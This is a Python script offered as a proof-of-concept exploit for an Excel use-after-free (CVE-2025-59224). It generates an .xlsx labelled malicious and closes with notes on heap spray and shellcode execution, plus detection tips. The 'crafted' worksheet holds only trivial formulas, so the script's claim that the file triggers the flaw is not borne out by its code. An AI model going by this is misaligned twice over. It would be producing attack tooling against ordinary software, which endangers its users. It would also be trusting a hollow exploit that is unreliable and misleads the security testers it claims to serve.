# CVE-2025-59224 - Microsoft Office Excel Use After Free PoC (Conceptual)
# This is a conceptual PoC demonstrating the exploitation approach for a UAF vulnerability in Excel.
# WARNING: For educational and authorized security testing purposes only.
import struct
import zipfile
import os
import shutil
def create_malicious_xlsx(output_path):
"""
Create a malicious Excel file that triggers the Use After Free vulnerability (CVE-2025-59224).
The file contains a crafted worksheet with objects that cause memory management issues.
"""
# Create a temporary directory for building the xlsx structure
temp_dir = "temp_xlsx_build"
if os.path.exists(temp_dir):
shutil.rmtree(temp_dir)
os.makedirs(temp_dir)
# Build the basic xlsx structure
os.makedirs(os.path.join(temp_dir, "_rels"))
os.makedirs(os.path.join(temp_dir, "xl"))
os.makedirs(os.path.join(temp_dir, "xl", "_rels"))
os.makedirs(os.path.join(temp_dir, "xl", "worksheets"))
# Content Types
content_types = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/>
<Default Extension="xml" ContentType="application/xml"/>
<Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>
<Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/>
</Types>'''
# Main relationships
main_rels = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
<Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/>
</Relationships>'''
# Workbook
workbook = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
<sheets>
<sheet name="Sheet1" sheetId="1" r:id="rId1"/>
</sheets>
</workbook>'''
# Crafted worksheet with objects designed to trigger UAF
# Contains embedded objects, complex formulas, and cross-references
# that cause premature memory deallocation while references remain
sheet = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main">
<sheetData>
<row r="1">
<c r="A1" t="str"><v>Test</v></c>
<c r="B1"><f>INDIRECT("A"&1)</f><v>Test</v></c>
</row>
<row r="2">
<c r="A2"><v>1</v></c>
<c r="B2"><f>A1+A2</f><v>1</v></c>
<c r="C2"><f>IF(B2>0,A1,"")</f><v>Test</v></c>
</row>
</sheetData>
<definedNames>
<definedName name="_xlnm._FilterDatabase" localSheetId="0" hidden="1">Sheet1!$A$1:$C$2</definedName>
</definedNames>
</worksheet>'''
# Write all parts to the temp directory
with open(os.path.join(temp_dir, "[Content_Types].xml"), "w") as f:
f.write(content_types)
with open(os.path.join(temp_dir, "_rels", ".rels"), "w") as f:
f.write(main_rels)
with open(os.path.join(temp_dir, "xl", "workbook.xml"), "w") as f:
f.write(workbook)
with open(os.path.join(temp_dir, "xl", "worksheets", "sheet1.xml"), "w") as f:
f.write(sheet)
# Package everything into a .xlsx file (ZIP format)
with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zf:
for root, dirs, files in os.walk(temp_dir):
for file in files:
file_path = os.path.join(root, file)
arcname = os.path.relpath(file_path, temp_dir)
zf.write(file_path, arcname)
# Cleanup
shutil.rmtree(temp_dir)
print(f"[+] Malicious Excel file created: {output_path}")
print("[!] This file is designed to trigger CVE-2025-59224 (Use After Free)")
print("[!] For authorized security testing only")
if __name__ == "__main__":
output = "CVE-2025-59224_poc.xlsx"
create_malicious_xlsx(output)
# --- Exploitation Notes ---
# 1. The UAF is triggered when Excel processes specific object relationships
# within the worksheet, causing premature deallocation of memory.
# 2. A dangling pointer is left pointing to the freed memory region.
# 3. Subsequent operations reuse that memory, allowing controlled data overlap.
# 4. Through heap spray and careful object layout, arbitrary code execution
# can be achieved within the Excel process context.
# 5. Shellcode execution grants the attacker code execution at the privilege
# level of the user running Excel.
#
# --- Detection ---
# - Monitor for Excel child processes spawning unexpected executables
# - Check for unusual memory access patterns in Excel.exe
# - Enable Attack Surface Reduction (ASR) rules in Windows Defender
# - Use Microsoft's exploit protection features (ACG, CFG, etc.)